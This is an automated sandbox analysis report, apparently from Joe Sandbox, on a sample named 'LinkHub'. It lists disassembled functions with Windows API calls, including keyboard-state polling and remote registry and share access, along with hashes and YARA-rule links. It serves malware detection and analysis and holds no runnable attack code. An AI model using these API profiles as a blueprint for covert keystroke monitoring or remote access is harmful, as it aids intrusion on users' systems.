                                                                            • Instruction Fuzzy Hash: 5C518D70644304AFD714EF25DC56FAA77E4FB88754F400A1EF956A72E2CB70A908CB62
                                                                            Function 00E3A05C Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000001,?,00E20D31,00000001,0000138C,00000001,00000001,00000001,?,00E4EEAE,00EA2430), ref: 00E3A091
                                                                            • LoadStringW.USER32(00000000,?,00E20D31,00000001), ref: 00E3A09A
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                            • GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00E20D31,00000001,0000138C,00000001,00000001,00000001,?,00E4EEAE,00EA2430,?), ref: 00E3A0BC
                                                                            • LoadStringW.USER32(00000000,?,00E20D31,00000001), ref: 00E3A0BF
                                                                            • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00E3A1E0
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: HandleLoadModuleString$Message_wcslen
                                                                            • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                                            • API String ID: 747408836-2268648507
                                                                            • Opcode ID: 354398ca14ca2b1ade705ad1b88794eb4b1f751a490f575185ce3062e949ff77
                                                                            • Instruction ID: 5391e9b9bbacd123ecf9415c90a034d546311579388369bfa371f116db03c6cc
                                                                            • Opcode Fuzzy Hash: 354398ca14ca2b1ade705ad1b88794eb4b1f751a490f575185ce3062e949ff77
                                                                            • Instruction Fuzzy Hash: 1E413D72800209AACF04EBE0DD46EEEB778EF18744F510066F505B2192EB756F49CBB1
                                                                            Function 00E30FCF Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD8577: _wcslen.LIBCMT ref: 00DD858A
                                                                            • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00E31093
                                                                            • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00E310AF
                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00E310CB
                                                                            • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00E310F5
                                                                            • CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00E3111D
                                                                            • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00E31128
                                                                            • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00E3112D
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
                                                                            • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                            • API String ID: 323675364-22481851
                                                                            • Opcode ID: f944662719150ac28bbae2564135fd2d20013125216a56bbf16f71a0d38df5e8
                                                                            • Instruction ID: 431dcc0d45aced7f0eaea796b6fdb041dc094b0a02d3a052f0742b4b30b4e0dd
                                                                            • Opcode Fuzzy Hash: f944662719150ac28bbae2564135fd2d20013125216a56bbf16f71a0d38df5e8
                                                                            • Instruction Fuzzy Hash: 1F41F872C10229ABCF15EBA4EC45DEEB779FF08754F41406AE905B2260EB719E05CBA0
                                                                            Function 00E64A34 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00E64AD9
                                                                            • CreateCompatibleDC.GDI32(00000000), ref: 00E64AE0
                                                                            • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00E64AF3
                                                                            • SelectObject.GDI32(00000000,00000000), ref: 00E64AFB
                                                                            • GetPixel.GDI32(00000000,00000000,00000000), ref: 00E64B06
                                                                            • DeleteDC.GDI32(00000000), ref: 00E64B10
                                                                            • GetWindowLongW.USER32(?,000000EC), ref: 00E64B1A
                                                                            • SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 00E64B30
                                                                            • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 00E64B3C
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                                            • String ID: static
                                                                            • API String ID: 2559357485-2160076837
                                                                            • Opcode ID: f66dbe8f826dec1e221a85535c49e9397fea5f8a1a07bb446d6cc1ed071bc2d7
                                                                            • Instruction ID: 3d13e1e04cae97a4b1e4a98a3004ab420761244be7c1acecbcba6db2817e2170
                                                                            • Opcode Fuzzy Hash: f66dbe8f826dec1e221a85535c49e9397fea5f8a1a07bb446d6cc1ed071bc2d7
                                                                            • Instruction Fuzzy Hash: 82317A71640219BFDF129FA5EC08FDB3BA9EF093A4F111211FA15B21A0C775D850DBA4
                                                                            Function 00E3D11F Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 81windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • LoadIconW.USER32(00000000,00007F03), ref: 00E3D1BE
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: IconLoad
                                                                            • String ID: \+$\+$`+$blank$info$question$stop$warning
                                                                            • API String ID: 2457776203-3382907240
                                                                            • Opcode ID: c2e6fcd3490d8527426c8ebfd5c7b8048a3d12f9bf6b31356eb9927ac442bc23
                                                                            • Instruction ID: 27dec5730eeecf23eccf0ba8e08cf8f4868677f7cef360f357e735fbe22ec3cd
                                                                            • Opcode Fuzzy Hash: c2e6fcd3490d8527426c8ebfd5c7b8048a3d12f9bf6b31356eb9927ac442bc23
                                                                            • Instruction Fuzzy Hash: 8011B73565D30ABBEB055A54FC86DBB7BACDF05769F20102AF500B6181D7B56A408174
                                                                            Function 00E5468D Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VariantInit.OLEAUT32(?), ref: 00E546B9
                                                                            • CoInitialize.OLE32(00000000), ref: 00E546E7
                                                                            • CoUninitialize.OLE32 ref: 00E546F1
                                                                            • _wcslen.LIBCMT ref: 00E5478A
                                                                            • GetRunningObjectTable.OLE32(00000000,?), ref: 00E5480E
                                                                            • SetErrorMode.KERNEL32(00000001,00000029), ref: 00E54932
                                                                            • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00E5496B
                                                                            • CoGetObject.OLE32(?,00000000,00E70B64,?), ref: 00E5498A
                                                                            • SetErrorMode.KERNEL32(00000000), ref: 00E5499D
                                                                            • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00E54A21
                                                                            • VariantClear.OLEAUT32(?), ref: 00E54A35
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
                                                                            • String ID:
                                                                            • API String ID: 429561992-0
                                                                            • Opcode ID: 26658c832f06c065e32b45b77a0d262ea52f033a960e428679c205c9e2d96acf
                                                                            • Instruction ID: 9437dd06bce14b1ddee80cfd24951358c26f1650133c4e402128ba494a79dda8
                                                                            • Opcode Fuzzy Hash: 26658c832f06c065e32b45b77a0d262ea52f033a960e428679c205c9e2d96acf
                                                                            • Instruction Fuzzy Hash: 67C179B16083019FC704DF68C88596BBBE9FF89349F00591DF889AB250DB70ED49CB62
                                                                            Function 00E484DB Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CoInitialize.OLE32(00000000), ref: 00E48538
                                                                            • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00E485D4
                                                                            • SHGetDesktopFolder.SHELL32(?), ref: 00E485E8
                                                                            • CoCreateInstance.OLE32(00E70CD4,00000000,00000001,00E97E8C,?), ref: 00E48634
                                                                            • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00E486B9
                                                                            • CoTaskMemFree.OLE32(?,?), ref: 00E48711
                                                                            • SHBrowseForFolderW.SHELL32(?), ref: 00E4879C
                                                                            • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00E487BF
                                                                            • CoTaskMemFree.OLE32(00000000), ref: 00E487C6
                                                                            • CoTaskMemFree.OLE32(00000000), ref: 00E4881B
                                                                            • CoUninitialize.OLE32 ref: 00E48821
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
                                                                            • String ID:
                                                                            • API String ID: 2762341140-0
                                                                            • Opcode ID: ba95da1db578d3e57d18dbc32f47ccba8d5c5cce3f39de55a9b9e31f9b20c480
                                                                            • Instruction ID: 1f01d35c64af733c13d12579dffbf716a5b9484947e449c025dd21f18b4527df
                                                                            • Opcode Fuzzy Hash: ba95da1db578d3e57d18dbc32f47ccba8d5c5cce3f39de55a9b9e31f9b20c480
                                                                            • Instruction Fuzzy Hash: 41C11975A00109AFCB14DFA5D988DAEBBF5FF48344B158499E419EB361CB30ED45CBA0
                                                                            Function 00E30378 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00E3039F
                                                                            • SafeArrayAllocData.OLEAUT32(?), ref: 00E303F8
                                                                            • VariantInit.OLEAUT32(?), ref: 00E3040A
                                                                            • SafeArrayAccessData.OLEAUT32(?,?), ref: 00E3042A
                                                                            • VariantCopy.OLEAUT32(?,?), ref: 00E3047D
                                                                            • SafeArrayUnaccessData.OLEAUT32(?), ref: 00E30491
                                                                            • VariantClear.OLEAUT32(?), ref: 00E304A6
                                                                            • SafeArrayDestroyData.OLEAUT32(?), ref: 00E304B3
                                                                            • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00E304BC
                                                                            • VariantClear.OLEAUT32(?), ref: 00E304CE
                                                                            • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00E304D9
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                                            • String ID:
                                                                            • API String ID: 2706829360-0
                                                                            • Opcode ID: dbafab63a8ea60cf2deb04d751302bdafce5e04260a99c25dd2f9ebdc3e8150d
                                                                            • Instruction ID: c064abe247c4c33bd8ab16901952813b73796600ef68f77be5cdf0e3aae4a28e
                                                                            • Opcode Fuzzy Hash: dbafab63a8ea60cf2deb04d751302bdafce5e04260a99c25dd2f9ebdc3e8150d
                                                                            • Instruction Fuzzy Hash: 29416E31E002199FCB14DFA5DC589AEBFB9EF48354F008069E965B7261CB70AE45CBA0
                                                                            Function 00E3A635 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetKeyboardState.USER32(?), ref: 00E3A65D
                                                                            • GetAsyncKeyState.USER32(000000A0), ref: 00E3A6DE
                                                                            • GetKeyState.USER32(000000A0), ref: 00E3A6F9
                                                                            • GetAsyncKeyState.USER32(000000A1), ref: 00E3A713
                                                                            • GetKeyState.USER32(000000A1), ref: 00E3A728
                                                                            • GetAsyncKeyState.USER32(00000011), ref: 00E3A740
                                                                            • GetKeyState.USER32(00000011), ref: 00E3A752
                                                                            • GetAsyncKeyState.USER32(00000012), ref: 00E3A76A
                                                                            • GetKeyState.USER32(00000012), ref: 00E3A77C
                                                                            • GetAsyncKeyState.USER32(0000005B), ref: 00E3A794
                                                                            • GetKeyState.USER32(0000005B), ref: 00E3A7A6
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: State$Async$Keyboard
                                                                            • String ID:
                                                                            • API String ID: 541375521-0
                                                                            • Opcode ID: 8ed303072473c4978c189c914801af5852ad7102e559fff4b6566e536bfb9a83
                                                                            • Instruction ID: 1efebea4c313ca7f5c779bcc91ceef8697c9c4e946a51e8855a9a63331a06d0d
                                                                            • Opcode Fuzzy Hash: 8ed303072473c4978c189c914801af5852ad7102e559fff4b6566e536bfb9a83
                                                                            • Instruction Fuzzy Hash: 3D41D6746047C96EFF319660C84D3A5BEB06B1134CF4CA06ED5C66A5C2EB9499C8CB93
                                                                            Function 00E50FB8 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • WSAStartup.WSOCK32(00000101,?), ref: 00E51019
                                                                            • inet_addr.WSOCK32(?), ref: 00E51079
                                                                            • gethostbyname.WSOCK32(?), ref: 00E51085
                                                                            • IcmpCreateFile.IPHLPAPI ref: 00E51093
                                                                            • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00E51123
                                                                            • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00E51142
                                                                            • IcmpCloseHandle.IPHLPAPI(?), ref: 00E51216
                                                                            • WSACleanup.WSOCK32 ref: 00E5121C
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                                            • String ID: Ping
                                                                            • API String ID: 1028309954-2246546115
                                                                            • Opcode ID: 88eec3bead05a993e8bd8ca6ab8f3b3147193d39d3180a7b5c1663d3f364b915
                                                                            • Instruction ID: 9af38cf4fba594fea68bb6da28a348dcbc7922f2ab3279b20571d84a5bd9232f
                                                                            • Opcode Fuzzy Hash: 88eec3bead05a993e8bd8ca6ab8f3b3147193d39d3180a7b5c1663d3f364b915
                                                                            • Instruction Fuzzy Hash: 5B91DF316086419FD720DF15C988F16BBE0EF44318F1489E9F969AB7A2C770ED89CB91
                                                                            Function 00E59730 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$BuffCharLower
                                                                            • String ID: cdecl$none$stdcall$winapi
                                                                            • API String ID: 707087890-567219261
                                                                            • Opcode ID: 50e5b7a81ec4819ac0f48f0667fc7ba2673938c20d50b202ffc7c3d5dd27c96d
                                                                            • Instruction ID: a6f1f61d2f2b69da2bf9f57b243fde1e09f4130da0b28751c0c7d39ed2291dfa
                                                                            • Opcode Fuzzy Hash: 50e5b7a81ec4819ac0f48f0667fc7ba2673938c20d50b202ffc7c3d5dd27c96d
                                                                            • Instruction Fuzzy Hash: B551D131A00116DBCF14DF68C9419FEB3A5EF55369B215A2AE826F7382DB31DD44C7A0
                                                                            Function 00E54189 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CoInitialize.OLE32 ref: 00E541D1
                                                                            • CoUninitialize.OLE32 ref: 00E541DC
                                                                            • CoCreateInstance.OLE32(?,00000000,00000017,00E70B44,?), ref: 00E54236
                                                                            • IIDFromString.OLE32(?,?), ref: 00E542A9
                                                                            • VariantInit.OLEAUT32(?), ref: 00E54341
                                                                            • VariantClear.OLEAUT32(?), ref: 00E54393
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
                                                                            • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                                            • API String ID: 636576611-1287834457
                                                                            • Opcode ID: a420bd4c47fdfb3c21a10d79e93efc06d7a461365fc9d8cc06216f87ec9e6545
                                                                            • Instruction ID: c17c19928c66eaa11b528920bdffc2bf830811d36fc9ef2125586842d6f23b66
                                                                            • Opcode Fuzzy Hash: a420bd4c47fdfb3c21a10d79e93efc06d7a461365fc9d8cc06216f87ec9e6545
                                                                            • Instruction Fuzzy Hash: 4761C2B5608311DFC310DF65D889B5EBBE4EF49719F001909F985AB2A1C770ED88CBA2
                                                                            Function 00E48BDA Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetLocalTime.KERNEL32(?), ref: 00E48C9C
                                                                            • SystemTimeToFileTime.KERNEL32(?,?), ref: 00E48CAC
                                                                            • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00E48CB8
                                                                            • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00E48D55
                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00E48D69
                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00E48D9B
                                                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00E48DD1
                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00E48DDA
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CurrentDirectoryTime$File$Local$System
                                                                            • String ID: *.*
                                                                            • API String ID: 1464919966-438819550
                                                                            • Opcode ID: cd9a7716dffe5db284cefafc6c3a89bd5bfe6699689e72ccfbf5f296caf176b9
                                                                            • Instruction ID: dfa7792f7542180444ccb7b98fd6a81cbec45f977c431cbf31533ba9e09b7c82
                                                                            • Opcode Fuzzy Hash: cd9a7716dffe5db284cefafc6c3a89bd5bfe6699689e72ccfbf5f296caf176b9
                                                                            • Instruction Fuzzy Hash: 44616B729043059FCB10EF60D9849AFB3E8FF89314F04491EF989A7251DB31E945CBA2
                                                                            Function 00DEFBC6 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 124COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00E139E2,00000004,00000000,00000000), ref: 00DEFC41
                                                                            • ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,00E139E2,00000004,00000000,00000000), ref: 00E2FC15
                                                                            • ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00E139E2,00000004,00000000,00000000), ref: 00E2FC98
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ShowWindow
                                                                            • String ID: (
                                                                            • API String ID: 1268545403-2063206799
                                                                            • Opcode ID: b4374954c419307e11ec010acca706f2298839b3c120849dfd803379ba7a2605
                                                                            • Instruction ID: a6b36f1350af8c31f33fe05e6f30f4d7a7034cb5e4c5eaeaf81ae7ccac1133bc
                                                                            • Opcode Fuzzy Hash: b4374954c419307e11ec010acca706f2298839b3c120849dfd803379ba7a2605
